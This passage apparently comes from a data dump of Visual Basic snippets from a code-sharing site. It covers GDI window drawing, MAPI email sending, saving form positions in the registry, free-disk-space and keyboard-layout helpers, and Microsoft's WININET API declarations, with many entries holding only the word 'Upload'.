CreateRectRgn(0, 0, FullWind.Right - FullWind.Left, FullWind.Bottom - FullWind.Top)\n' Create an hDC for the hWnd\n' Note: GetDC retrieves the CLIENT AREA hDC. We want the WHOLE WINDOW, including Non-Client\n' stuff like title bar, menu, border, etc.\nhdc = GetWindowDC(Myhwnd)\n' Save the old region\nRetVal = GetClipRgn(hdc, OldRegion)\n' Retval = 0: no region 1: Region copied -1: error\n' Select the new region\nRetVal = SelectObject(hdc, Region)\n' Create a pen\nPen = CreatePen(DrawStyleConstants.vbSolid, 6, 0) ' Draw Solid lines, width 6, and color black\n' Select the pen\n' A pen draws the lines\nOldPen = SelectObject(hdc, Pen)\n' Create a brush\n' A brush is the filling for a shape\n' I need to set it to a null brush so that it doesn't edit anything\nBrush = GetStockObject(NULL_BRUSH)\n' Select the brush\nOldBrush = SelectObject(hdc, Brush)\n' Select the ROP\nOldROP = SetROP2(hdc, DrawModeConstants.vbInvert) ' vbInvert means, whatever is draw,\n ' invert those pixels. This means that I can undraw it by doing the same.\n'\n' The Drawing Bits\n'\n' Put a box around the outside of the window, using the current hDC.\n' These coords are in device co-ordinates, i.e., of the hDC.\nWith Draw\n .Left = 0\n .Top = 0\n .Bottom = FullWind.Bottom - FullWind.Top\n .Right = FullWind.Right - FullWind.Left\n Rectangle hdc, .Left, .Top, .Right, .Bottom ' Really easy to understand - draw a rectangle, hDC, and coordinates\nEnd With\n'\n' The Washing Up bits\n'\n' This is a very important part, as it releases memory that has been taken up.\n' If we don't do this, windows crashes due to a memory leak.\n' You probably get a blue screen (altohugh I'm not sure)\n'\n' Get back the old region\nSelectObject hdc, OldRegion\n' Return the previous ROP\nSetROP2 hdc, OldROP\n' Return to the previous brush\nSelectObject hdc, OldBrush\n' Return the previous pen\nSelectObject hdc, OldPen\n' Delete the Brush I created\nDeleteObject Brush\n' Delete the Pen I created\nDeleteObject Pen\n' Delete the region I created\nDeleteObject Region\n' Release the hDC back to window's resource pool\nReleaseDC Myhwnd, hdc\nEnd Sub\n"},{"WorldId":1,"id":6364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6372,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6377,"LineNumber":1,"line":"Public Function SendMAPIMail( _\nMsgTo As String, _\nOptional CC As String = \"\", _\nOptional Subject As String = \"\", _\nOptional Body As String = \"\", _\nOptional Att As String = \"\") _\nAs Boolean\n 'Code by Conrad\n 'email cbrits@monotix.co.za\n \n '-----------------------------------------------\n '** PLEASE NOTE!! **\n 'You need a form with both\n 'controls (MapiMessages and MapiSession) on it\n '\n 'Do the following:\n '-----------------\n ' 1.Add a form, and name it frmMail.\n ' 2.Go to Components...(Project menu) and find\n ' Microsoft MAPI Controls.\n ' 3.Check it, and click OK. There will now \n ' be two\n ' new controls on your Control Tab.\n ' 4.Add the two new controls to your form.\n '\n '-----------------------------------------------\n On Error GoTo ErrHndl\n \n \n Dim MAPISes As MAPISession\n Dim MAPIMsgs As MAPIMessages\n \n \n Screen.MousePointer = 11\n \n 'set the objects to the controls of the form\n Set MAPISes = frmMail.MAPISession1\n Set MAPIMsgs = frmMail.MAPIMessages1\n \n 'download new mail = false\n MAPISes.DownLoadMail = False\n 'show the logon interface for the mail \n 'account = true\n MAPISes.LogonUI = True\n 'sign on to selected account\n MAPISes.SignOn\n \n DoEvents\n \n 'check if logon was successful\n If MAPISes.SessionID = 0 Then\n SendMAPIMail = False\n MsgBox \"Error on login to MAPI\", _\n vbCritical, \"MAPI\"\n Exit Function\n End If\n \n 'set the session IDs the same on both objects\n MAPIMsgs.SessionID = MAPISes.SessionID\n \n 'Set the MSgIndex to -1, this needs to be \n 'done for the Compose event to work\n MAPIMsgs.MsgIndex = -1\n 'compose a new message\n MAPIMsgs.Compose\n \n 'don't show the resolve address interface\n MAPIMsgs.AddressResolveUI = False\n \n \n 'set the recipient\n MAPIMsgs.RecipIndex = 0\n MAPIMsgs.RecipType = mapToList\n MAPIMsgs.RecipAddress = MsgTo\n 'resolve the recipient's email addresses\n MAPIMsgs.ResolveName\n \n 'set the CC recipient\n MAPIMsgs.RecipIndex = 1\n MAPIMsgs.RecipType = mapCcList\n MAPIMsgs.RecipAddress = CC\n 'resolve the recipient's email addresses\n MAPIMsgs.ResolveName\n \n 'set the subject\n MAPIMsgs.MsgSubject = Subject\n \n 'set the Message/Body/NoteText\n MAPIMsgs.MsgNoteText = Body\n \n If Att <> \"\" Then\n 'set an attachment\n MAPIMsgs.AttachmentPathName = Att\n End If\n \n 'send the message\n MAPIMsgs.Send\n \n 'close the current session\n MAPISes.SignOff\n \n 'clear objects\n Set MAPIMsgs = Nothing\n Set MAPISes = Nothing\n \n SendMAPIMail = True\n \n Screen.MousePointer = 0\n Exit Function\nErrHndl:\n Set MAPIMsgs = Nothing\n Set MAPISes = Nothing\n \n Screen.MousePointer = 0\n MsgBox \"Error [\" & Err & \"] \" & Error, vbCritical, \"MAPI\"\n Screen.MousePointer = 11\n \n On Error Resume Next\n frmMail.MAPISession1.SignOff\n SendMAPIMail = False\n \n Screen.MousePointer = 0\nEnd Function\n"},{"WorldId":1,"id":6379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6403,"LineNumber":1,"line":"Option Explicit\nPublic Sub FormWinRegPos(pMyForm As Form, Optional pbSave As Boolean)\n 'This Procedure will Either Retrieve or Save Form Posn values\n 'Best used on Form Load and Unload or QueryUnLoad\n On Error GoTo EH\n \n With pMyForm\n If pbSave Then\n 'If Saving then do this...\n 'If Form was minimized or Maximized then Closed Need to Save Windowstate\n 'THEN... set Back to Normal Or previous non Max or Min State then Save\n 'Posn Parameters SaveSetting App.EXEName, .Name, \"Top\", .Top\n SaveSetting App.EXEName, .Name, \"WindowState\", .WindowState\n If .WindowState = vbMinimized Or .WindowState = vbMaximized Then\n .WindowState = vbNormal\n End If\n 'Save AppName...FrmName...KeyName...Value\n SaveSetting App.EXEName, .Name, \"Top\", .Top\n SaveSetting App.EXEName, .Name, \"Left\", .Left\n SaveSetting App.EXEName, .Name, \"Height\", .Height\n SaveSetting App.EXEName, .Name, \"Width\", .Width\n Else\n 'If Not Saveing Must Be Getting ..\n 'Need to ref AppName...FrmName...KeyName (If nothing Stored Use The Exisiting Form value)\n .Top = GetSetting(App.EXEName, .Name, \"Top\", .Top)\n .Left = GetSetting(App.EXEName, .Name, \"Left\", .Left)\n .Height = GetSetting(App.EXEName, Name, \"Height\", .Height)\n .Width = GetSetting(App.EXEName, .Name, \"Width\", .Width)\n 'Be Sure WindowState is set last (Can't Change POSN if vbMinimized Or Maximized\n .WindowState = GetSetting(App.EXEName, .Name, \"WindowState\", .WindowState)\n End If\n End With\n \n Exit Sub\nEH:\n MsgBox \"Error \" & Err.Number & vbCrLf & vbCrLf & Err.Description\n \nEnd Sub\n\nPrivate Sub Form_Load()\n FormWinRegPos Me\nEnd Sub\n\nPrivate Sub Form_Unload(Cancel As Integer)\n FormWinRegPos Me, True\nEnd Sub\n"},{"WorldId":1,"id":6410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6416,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6417,"LineNumber":1,"line":"MYHEX$ = \"7FFFFFFF\"\nMydec& = Val(\"&H\" & MYHEX$)\n\n"},{"WorldId":1,"id":6422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6441,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6449,"LineNumber":1,"line":"'find out what keyboard language a theard is \nPublic Sub FindTheardlanguage ()\nDim TheardId As Long\nDim TheardLang As Long\n TheardId = get_threadId 'call function\n TheardLang = GetKeyboardLayout(ByVal TheardId)\n TheardLang = TheardLang Mod 10000\n \n Select Case TheardLang \n Case 9721 'english\n 'do your stuff\n \n Case 1869 'hebrew\n 'do your stuff\n \n End Select\n \nEnd Sub\n\nPublic Function get_threadId() As Long\nDim threadid As Long, processid As Long\nget_threadId = GetWindowThreadProcessId(winHWND, processid)\nEnd Function\n"},{"WorldId":1,"id":6452,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6461,"LineNumber":1,"line":"Function GetFreeSpace(strPath as String) As Double\n Dim nFreeBytesToCaller As LargeInt\n Dim nTotalBytes As LargeInt\n Dim nTotalFreeBytes As LargeInt\n \n strPath = Trim(strPath)\n If Right(strPath, 1) <> \"\\\" Then\n strPath = strPath & \"\\\"\n End If\n \n If GetDiskFreeSpaceEx(strPath, nFreeBytesToCaller, nTotalBytes, nTotalFreeBytes) <> 0 Then\n GetFreeSpace = CULong( _\n nFreeBytesToCaller.HiDWord.Byte1, _\n nFreeBytesToCaller.HiDWord.Byte2, _\n nFreeBytesToCaller.HiDWord.Byte3, _\n nFreeBytesToCaller.HiDWord.Byte4) * 2 ^ 32 + _\n CULong(nFreeBytesToCaller.LoDWord.Byte1, _\n nFreeBytesToCaller.LoDWord.Byte2, _\n nFreeBytesToCaller.LoDWord.Byte3, _\n nFreeBytesToCaller.LoDWord.Byte4)\n End If\nEnd Function\nFunction CULong(Byte1 As Byte, Byte2 As Byte, Byte3 As Byte, Byte4 As Byte) As Double\n CULong = Byte4 * 2 ^ 24 + Byte3 * 2 ^ 16 + Byte2 * 2 ^ 8 + Byte1\nEnd Function\n"},{"WorldId":1,"id":6465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6479,"LineNumber":1,"line":"Option Explicit\n' ------------------------------------------------------------------------\n'\n' WININET.TXT -- WININET API Declarations for Visual Basic\n'\n' Copyright (C) 1998 Microsoft Corporation\n'\n' This file is required for the Visual Basic 6.0 version of the APILoader.\n' This file is backwards compatible with previous releases\n' of the APILoader with the exception that Constants are no longer declared\n' as Global or Public in this file.\n'\n' This file contains only the Const, Type,\n' and Declare statements for the WININET APIs.\n'\n' You have a royalty-free right to use, modify, reproduce and distribute\n' this file (and/or any modified version) in any way you find useful,\n' provided that you agree that Microsoft has no warranty, obligation or\n' liability for its contents. Refer to the Microsoft Windows Programmer's\n' Reference for further information.\n'\n' ------------------------------------------------------------------------\nConst MAX_PATH = 260\nConst NO_ERROR = 0\nConst FILE_ATTRIBUTE_READONLY = &H1\nConst FILE_ATTRIBUTE_HIDDEN = &H2\nConst FILE_ATTRIBUTE_SYSTEM = &H4\nConst FILE_ATTRIBUTE_DIRECTORY = &H10\nConst FILE_ATTRIBUTE_ARCHIVE = &H20\nConst FILE_ATTRIBUTE_NORMAL = &H80\nConst FILE_ATTRIBUTE_TEMPORARY = &H100\nConst FILE_ATTRIBUTE_COMPRESSED = &H800\nConst FILE_ATTRIBUTE_OFFLINE = &H1000\nType FILETIME\n dwLowDateTime As Long\n dwHighDateTime As Long\nEnd Type\nType WIN32_FIND_DATA\n dwFileAttributes As Long\n ftCreationTime As FILETIME\n ftLastAccessTime As FILETIME\n ftLastWriteTime As FILETIME\n nFileSizeHigh As Long\n nFileSizeLow As Long\n dwReserved0 As Long\n dwReserved1 As Long\n cFileName As String * MAX_PATH\n cAlternate As String * 14\nEnd Type\nConst ERROR_NO_MORE_FILES = 18\nPrivate Declare Function InternetFindNextFile Lib \"wininet.dll\" Alias \"InternetFindNextFileA\" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long\nPrivate Declare Function FtpFindFirstFile Lib \"wininet.dll\" Alias \"FtpFindFirstFileA\" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long\nPrivate Declare Function FtpGetFile Lib \"wininet.dll\" Alias \"FtpGetFileA\" (ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean\nPrivate Declare Function FtpPutFile Lib \"wininet.dll\" Alias \"FtpPutFileA\" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean\nPrivate Declare Function FtpSetCurrentDirectory Lib \"wininet.dll\" Alias \"FtpSetCurrentDirectoryA\" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean\nPrivate Declare Function FtpGetCurrentDirectory Lib \"wininet.dll\" Alias \"FtpGetCurrentDirectoryA\" (ByVal hFtpSession As Long, ByVal lpszDirectory As String, ByRef lpdwCurrentDirectory As Long) As Boolean\n' Initializes an application's use of the Win32 Internet functions\nPrivate Declare Function InternetOpen Lib \"wininet.dll\" Alias \"InternetOpenA\" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long\n' User agent constant.\nConst scUserAgent = \"vb wininet\"\n' Use registry access settings.\nConst INTERNET_OPEN_TYPE_PRECONFIG = 0\nConst INTERNET_OPEN_TYPE_DIRECT = 1\nConst INTERNET_OPEN_TYPE_PROXY = 3\nConst INTERNET_INVALID_PORT_NUMBER = 0\n' Opens a HTTP session for a given site.\nPrivate Declare Function InternetConnect Lib \"wininet.dll\" Alias \"InternetConnectA\" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long\nPrivate Declare Function InternetGetLastResponseInfo Lib \"wininet.dll\" Alias \"InternetGetLastResponseInfoA\" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean\n' Number of the TCP/IP port on the server to connect to.\nConst INTERNET_DEFAULT_FTP_PORT = 21\nConst INTERNET_DEFAULT_GOPHER_PORT = 70\nConst INTERNET_DEFAULT_HTTP_PORT = 80\nConst INTERNET_DEFAULT_HTTPS_PORT = 443\nConst INTERNET_DEFAULT_SOCKS_PORT = 1080\nConst INTERNET_OPTION_CONNECT_TIMEOUT = 2\nConst INTERNET_OPTION_RECEIVE_TIMEOUT = 6\nConst INTERNET_OPTION_SEND_TIMEOUT = 5\nConst INTERNET_OPTION_USERNAME = 28\nConst INTERNET_OPTION_PASSWORD = 29\nConst INTERNET_OPTION_PROXY_USERNAME = 43\nConst INTERNET_OPTION_PROXY_PASSWORD = 44\n' Type of service to access.\nConst INTERNET_SERVICE_FTP = 1\nConst INTERNET_SERVICE_GOPHER = 2\nConst INTERNET_SERVICE_HTTP = 3\n' Opens an HTTP request handle.\nPrivate Declare Function HttpOpenRequest Lib \"wininet.dll\" Alias \"HttpOpenRequestA\" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long\nConst GENERIC_READ = &H80000000\nConst GENERIC_WRITE = &H40000000\n' Sends the specified request to the HTTP server.\nPrivate Declare Function HttpSendRequest Lib \"wininet.dll\" Alias \"HttpSendRequestA\" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Integer\n' Queries for information about an HTTP request.\nPrivate Declare Function HttpQueryInfo Lib \"wininet.dll\" Alias \"HttpQueryInfoA\" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer\n' InternetErrorDlg\nPrivate Declare Function InternetErrorDlg Lib \"wininet.dll\" (ByVal hWnd As Long, ByVal hInternet As Long, ByVal dwError As Long, ByVal dwFlags As Long, ByVal lppvData As Long) As Long\n' InternetErrorDlg constants\nConst FLAGS_ERROR_UI_FILTER_FOR_ERRORS = &H1\nConst FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS = &H2\nConst FLAGS_ERROR_UI_FLAGS_GENERATE_DATA = &H4\nConst FLAGS_ERROR_UI_FLAGS_NO_UI = &H8\nConst FLAGS_ERROR_UI_SERIALIZE_DIALOGS = &H10\nPrivate Declare Function GetDesktopWindow Lib \"user32.dll\" () As Long\n' The possible values for the lInfoLevel parameter include:\nConst HTTP_QUERY_CONTENT_TYPE = 1\nConst HTTP_QUERY_CONTENT_LENGTH = 5\nConst HTTP_QUERY_EXPIRES = 10\nConst HTTP_QUERY_LAST_MODIFIED = 11\nConst HTTP_QUERY_PRAGMA = 17\nConst HTTP_QUERY_VERSION = 18\nConst HTTP_QUERY_STATUS_CODE = 19\nConst HTTP_QUERY_STATUS_TEXT = 20\nConst HTTP_QUERY_RAW_HEADERS = 21\nConst HTTP_QUERY_RAW_HEADERS_CRLF = 22\nConst HTTP_QUERY_FORWARDED = 30\nConst HTTP_QUERY_SERVER = 37\nConst HTTP_QUERY_USER_AGENT = 39\nConst HTTP_QUERY_SET_COOKIE = 43\nConst HTTP_QUERY_REQUEST_METHOD = 45\nConst HTTP_STATUS_DENIED = 401\nConst HTTP_STATUS_PROXY_AUTH_REQ = 407\n' Add this flag to the about flags to get request header.\nConst HTTP_QUERY_FLAG_REQUEST_HEADERS = &H80000000\nConst HTTP_QUERY_FLAG_NUMBER = &H20000000\n' Reads data from a handle opened by the HttpOpenRequest function.\nPrivate Declare Function InternetReadFile Lib \"wininet.dll\" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer\nType INTERNET_BUFFERS\n dwStructSize As Long ' used for API versioning. Set to sizeof(INTERNET_BUFFERS)\n Next As Long ' INTERNET_BUFFERS chain of buffers\n lpcszHeader As Long ' pointer to headers (may be NULL)\n dwHeadersLength As Long ' length of headers if not NULL\n dwHeadersTotal As Long ' size of headers if not enough buffer\n lpvBuffer As Long ' pointer to data buffer (may be NULL)\n dwBufferLength As Long ' length of data buffer if not NULL\n dwBufferTotal As Long ' total size of chunk, or content-length if not chunked\n dwOffsetLow As Long ' used for read-ranges (only used in HttpSendRequest2)\n dwOffsetHigh As Long\nEnd Type\nPrivate Declare Function HttpSendRequestEx Lib \"wininet.dll\" Alias \"HttpSendRequestExA\" (ByVal hHttpRequest As Long, lpBuffersIn As INTERNET_BUFFERS, ByVal lpBuffersOut As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long\nPrivate Declare Function HttpEndRequest Lib \"wininet.dll\" Alias \"HttpEndRequestA\" (ByVal hHttpRequest As Long, ByVal lpBuffersOut As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long\nPrivate Declare Function InternetWriteFile Lib \"wininet.dll\" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumberOfBytesToRead As Long, lNumberOfBytesRead As Long) As Integer\nPrivate Declare Function FtpOpenFile Lib \"wininet.dll\" Alias \"FtpOpenFileA\" (ByVal hFtpSession As Long, ByVal sFileName As String, ByVal lAccess As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long\nPrivate Declare Function FtpDeleteFile Lib \"wininet.dll\" Alias \"FtpDeleteFileA\" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean\nPrivate Declare Function InternetSetOption Lib \"wininet.dll\" Alias \"InternetSetOptionA\" (ByVal hInternet As Long, ByVal lOption As Long, ByRef sBuffer As Any, ByVal lBufferLength As Long) As Integer\nPrivate Declare Function InternetSetOptionStr Lib \"wininet.dll\" Alias \"InternetSetOptionA\" (ByVal hInternet As Long, ByVal lOption As Long, ByVal sBuffer As String, ByVal lBufferLength As Long) As Integer\n' Closes a single Internet handle or a subtree of Internet handles.\nPrivate Declare Function InternetCloseHandle Lib \"wininet.dll\" (ByVal hInet As Long) As Integer\n' Queries an Internet option on the specified handle\nPrivate Declare Function InternetQueryOption Lib \"wininet.dll\" Alias \"InternetQueryOptionA\" (ByVal hInternet As Long, ByVal lOption As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long) As Integer\n' Returns the version number of Wininet.dll.\nConst INTERNET_OPTION_VERSION = 40\n' Contains the version number of the DLL that contains the Windows Internet\n' functions (Wininet.dll). This structure is used when passing the\n' INTERNET_OPTION_VERSION flag to the InternetQueryOption function.\nType tWinInetDLLVersion\n lMajorVersion As Long\n lMinorVersion As Long\nEnd Type\n' Adds one or more HTTP request headers to the HTTP request handle.\nPrivate Declare Function HttpAddRequestHeaders Lib \"wininet.dll\" Alias \"HttpAddRequestHeadersA\" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal lModifiers As Long) As Integer\n' Flags to modify the semantics of this function. Can be a combination of these values:\n' Adds the header only if it does not already exist; otherwise, an error is returned.\nConst HTTP_ADDREQ_FLAG_ADD_IF_NEW = &H10000000\n' Adds the header if it does not exist. Used with REPLACE.\nConst HTTP_ADDREQ_FLAG_ADD = &H20000000\n' Replaces or removes a header. If the header value is empty and the header is found,\n' it is removed. If not empty, the header value is replaced\nConst HTTP_ADDREQ_FLAG_REPLACE = &H80000000\n' Internet Errors\nConst INTERNET_ERROR_BASE = 12000\nConst ERROR_INTERNET_OUT_OF_HANDLES = (INTERNET_ERROR_BASE + 1)\nConst ERROR_INTERNET_TIMEOUT = (INTERNET_ERROR_BASE + 2)\nConst ERROR_INTERNET_EXTENDED_ERROR = (INTERNET_ERROR_BASE + 3)\nConst ERROR_INTERNET_INTERNAL_ERROR = (INTERNET_ERROR_BASE + 4)\nConst ERROR_INTERNET_INVALID_URL = (INTERNET_ERROR_BASE + 5)\nConst ERROR_INTERNET_UNRECOGNIZED_SCHEME = (INTERNET_ERROR_BASE + 6)\nConst ERROR_INTERNET_NAME_NOT_RESOLVED = (INTERNET_ERROR_BASE + 7)\nConst ERROR_INTERNET_PROTOCOL_NOT_FOUND = (INTERNET_ERROR_BASE + 8)\nConst ERROR_INTERNET_INVALID_OPTION = (INTERNET_ERROR_BASE + 9)\nConst ERROR_INTERNET_BAD_OPTION_LENGTH = (INTERNET_ERROR_BASE + 10)\nConst ERROR_INTERNET_OPTION_NOT_SETTABLE = (INTERNET_ERROR_BASE + 11)\nConst ERROR_INTERNET_SHUTDOWN = (INTERNET_ERROR_BASE + 12)\nConst ERROR_INTERNET_INCORRECT_USER_NAME = (INTERNET_ERROR_BASE + 13)\nConst ERROR_INTERNET_INCORRECT_PASSWORD = (INTERNET_ERROR_BASE + 14)\nConst ERROR_INTERNET_LOGIN_FAILURE = (INTERNET_ERROR_BASE + 15)\nConst ERROR_INTERNET_INVALID_OPERATION = (INTERNET_ERROR_BASE + 16)\nConst ERROR_INTERNET_OPERATION_CANCELLED = (INTERNET_ERROR_BASE + 17)\nConst ERROR_INTERNET_INCORRECT_HANDLE_TYPE = (INTERNET_ERROR_BASE + 18)\nConst ERROR_INTERNET_INCORRECT_HANDLE_STATE = (INTERNET_ERROR_BASE + 19)\nConst ERROR_INTERNET_NOT_PROXY_REQUEST = (INTERNET_ERROR_BASE + 20)\nConst ERROR_INTERNET_REGISTRY_VALUE_NOT_FOUND = (INTERNET_ERROR_BASE + 21)\nConst ERROR_INTERNET_BAD_REGISTRY_PARAMETER = (INTERNET_ERROR_BASE + 22)\nConst ERROR_INTERNET_NO_DIRECT_ACCESS = (INTERNET_ERROR_BASE + 23)\nConst ERROR_INTERNET_NO_CONTEXT = (INTERNET_ERROR_BASE + 24)\nConst ERROR_INTERNET_NO_CALLBACK = (INTERNET_ERROR_BASE + 25)\nConst ERROR_INTERNET_REQUEST_PENDING = (INTERNET_ERROR_BASE + 26)\nConst ERROR_INTERNET_INCORRECT_FORMAT = (INTERNET_ERROR_BASE + 27)\nConst ERROR_INTERNET_ITEM_NOT_FOUND = (INTERNET_ERROR_BASE + 28)\nConst ERROR_INTERNET_CANNOT_CONNECT = (INTERNET_ERROR_BASE + 29)\nConst ERROR_INTERNET_CONNECTION_ABORTED = (INTERNET_ERROR_BASE + 30)\nConst ERROR_INTERNET_CONNECTION_RESET = (INTERNET_ERROR_BASE + 31)\nConst ERROR_INTERNET_FORCE_RETRY = (INTERNET_ERROR_BASE + 32)\nConst ERROR_INTERNET_INVALID_PROXY_REQUEST = (INTERNET_ERROR_BASE + 33)\nConst ERROR_INTERNET_NEED_UI = (INTERNET_ERROR_BASE + 34)\nConst ERROR_INTERNET_HANDLE_EXISTS = (INTERNET_ERROR_BASE + 36)\nConst ERROR_INTERNET_SEC_CERT_DATE_INVALID = (INTERNET_ERROR_BASE + 37)\nConst ERROR_INTERNET_SEC_CERT_CN_INVALID = (INTERNET_ERROR_BASE + 38)\nConst ERROR_INTERNET_HTTP_TO_HTTPS_ON_REDIR = (INTERNET_ERROR_BASE + 39)\nConst ERROR_INTERNET_HTTPS_TO_HTTP_ON_REDIR = (INTERNET_ERROR_BASE + 40)\nConst ERROR_INTERNET_MIXED_SECURITY = (INTERNET_ERROR_BASE + 41)\nConst ERROR_INTERNET_CHG_POST_IS_NON_SECURE = (INTERNET_ERROR_BASE + 42)\nConst ERROR_INTERNET_POST_IS_NON_SECURE = (INTERNET_ERROR_BASE + 43)\nConst ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED = (INTERNET_ERROR_BASE + 44)\nConst ERROR_INTERNET_INVALID_CA = (INTERNET_ERROR_BASE + 45)\nConst ERROR_INTERNET_CLIENT_AUTH_NOT_SETUP = (INTERNET_ERROR_BASE + 46)\nConst ERROR_INTERNET_ASYNC_THREAD_FAILED = (INTERNET_ERROR_BASE + 47)\nConst ERROR_INTERNET_REDIRECT_SCHEME_CHANGE = (INTERNET_ERROR_BASE + 48)\nConst ERROR_INTERNET_DIALOG_PENDING = (INTERNET_ERROR_BASE + 49)\nConst ERROR_INTERNET_RETRY_DIALOG = (INTERNET_ERROR_BASE + 50)\nConst ERROR_INTERNET_HTTPS_HTTP_SUBMIT_REDIR = (INTERNET_ERROR_BASE + 52)\nConst ERROR_INTERNET_INSERT_CDROM = (INTERNET_ERROR_BASE + 53)\n' FTP API errors\nConst ERROR_FTP_TRANSFER_IN_PROGRESS = (INTERNET_ERROR_BASE + 110)\nConst ERROR_FTP_DROPPED = (INTERNET_ERROR_BASE + 111)\nConst ERROR_FTP_NO_PASSIVE_MODE = (INTERNET_ERROR_BASE + 112)\n' gopher API errors\nConst ERROR_GOPHER_PROTOCOL_ERROR = (INTERNET_ERROR_BASE + 130)\nConst ERROR_GOPHER_NOT_FILE = (INTERNET_ERROR_BASE + 131)\nConst ERROR_GOPHER_DATA_ERROR = (INTERNET_ERROR_BASE + 132)\nConst ERROR_GOPHER_END_OF_DATA = (INTERNET_ERROR_BASE + 133)\nConst ERROR_GOPHER_INVALID_LOCATOR = (INTERNET_ERROR_BASE + 134)\nConst ERROR_GOPHER_INCORRECT_LOCATOR_TYPE = (INTERNET_ERROR_BASE + 135)\nConst ERROR_GOPHER_NOT_GOPHER_PLUS = (INTERNET_ERROR_BASE + 136)\nConst ERROR_GOPHER_ATTRIBUTE_NOT_FOUND = (INTERNET_ERROR_BASE + 137)\nConst ERROR_GOPHER_UNKNOWN_LOCATOR = (INTERNET_ERROR_BASE + 138)\n' HTTP API errors\nConst ERROR_HTTP_HEADER_NOT_FOUND = (INTERNET_ERROR_BASE + 150)\nConst ERROR_HTTP_DOWNLEVEL_SERVER = (INTERNET_ERROR_BASE + 151)\nConst ERROR_HTTP_INVALID_SERVER_RESPONSE = (INTERNET_ERROR_BASE + 152)\nConst ERROR_HTTP_INVALID_HEADER = (INTERNET_ERROR_BASE + 153)\nConst ERROR_HTTP_INVALID_QUERY_REQUEST = (INTERNET_ERROR_BASE + 154)\nConst ERROR_HTTP_HEADER_ALREADY_EXISTS = (INTERNET_ERROR_BASE + 155)\nConst ERROR_HTTP_REDIRECT_FAILED = (INTERNET_ERROR_BASE + 156)\nConst ERROR_HTTP_NOT_REDIRECTED = (INTERNET_ERROR_BASE + 160)\nConst ERROR_HTTP_COOKIE_NEEDS_CONFIRMATION = (INTERNET_ERROR_BASE + 161)\nConst ERROR_HTTP_COOKIE_DECLINED = (INTERNET_ERROR_BASE + 162)\nConst ERROR_HTTP_REDIRECT_NEEDS_CONFIRMATION = (INTERNET_ERROR_BASE + 168)\n' additional Internet API error codes\nConst ERROR_INTERNET_SECURITY_CHANNEL_ERROR = (INTERNET_ERROR_BASE + 157)\nConst ERROR_INTERNET_UNABLE_TO_CACHE_FILE = (INTERNET_ERROR_BASE + 158)\nConst ERROR_INTERNET_TCPIP_NOT_INSTALLED = (INTERNET_ERROR_BASE + 159)\nConst ERROR_INTERNET_DISCONNECTED = (INTERNET_ERROR_BASE + 163)\nConst ERROR_INTERNET_SERVER_UNREACHABLE = 